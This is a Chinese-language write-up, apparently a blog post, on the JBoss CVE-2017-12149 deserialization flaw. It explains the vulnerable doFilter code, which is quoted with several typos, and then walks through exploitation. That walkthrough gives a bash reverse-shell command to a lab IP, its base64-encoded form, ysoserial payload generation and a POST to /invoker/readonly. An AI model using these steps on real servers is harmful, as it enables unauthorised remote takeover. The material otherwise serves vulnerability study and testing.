漏洞描述

2017年8月30日,厂商Redhat发布了一个JBOSSAS5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

漏洞原理

jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter中。

public voiddoFilter(ServletRequest request,ServletResponse response,FilterChain chain)throw IOException,ServletException //throw抛出异常处理
{
HttpServletRequest httpRequest=(HttpServletRequest)request;
Principal user=httpRequest.getUserPrincipal(); //获取用户角色
if((user=null)&&(this.readOnlyContext!=null))
{//创建反序列化流
ServletInputStream sis=request.getInputStream(); //获取post表单提交的数据保存到sis
ObjectInputStream ois=new ObjectInputStream(sis); //反序列化后保存到ois
MarshalledInvocation mi=null;try{//直接反序列化读取对象
mi=(MarshalledInvocation)ois.readObject();
}catch(ClassNotFountException e)
{//捕获类找不到异常
throw new ServletException("Failed to read MarshalledInvocation",e);
}
request.serAttribute("MarshalledInvocation",mi);

mi.setMethodMap(this.namingMethodMap);
Method m=mi.getMethod();if(m!=null){
validateAccess(m,mi)
}
}
chain.doFilter(request,response);
}

程序获取http数据保存到了httpRequest中,序列化后保存到了ois中,然后没有进行过滤操作,直接使用了readObject()进行了反序列化操作保存到了mi变量中,形成了一个典型的JAVA反序列化漏洞。

以上是自己理解,java学的不好,有误希望大佬指出

漏洞复现

搭建教程很多,这里就不说了,搭建成功后的页面

javacv platform 文档 javacversion_java反序列化 cve

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化。访问/invoker/readonly,返回500,则存在该漏洞

javacv platform 文档 javacversion_java反序列化 cve_02

编写反弹shell命令:

bash -i >& /dev/tcp/192.168.137.126/6666 0>&1

java runtime编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjYvNjY2NiAwPiYxIA==}|{base64,-d}|{bash,-i}

利用ysoserial生成序列化数据

javacv platform 文档 javacversion_bash_03

Tips1:ysoserical用法:java -jar ysoserial.jar [payload] “[command]”

Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择)

Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用

打开监听端口6666

javacv platform 文档 javacversion_javacv platform 文档_04

发送payload,将poc.ser作为POST Body发送至/invoker/readonly

javacv platform 文档 javacversion_bash_05

成功反弹shell

javacv platform 文档 javacversion_java反序列化 cve_06

利用工具

CVE-2017-12149

直接输入攻击机与靶机端口地址

javacv platform 文档 javacversion_序列化_07

send之后成功反弹

javacv platform 文档 javacversion_bash_08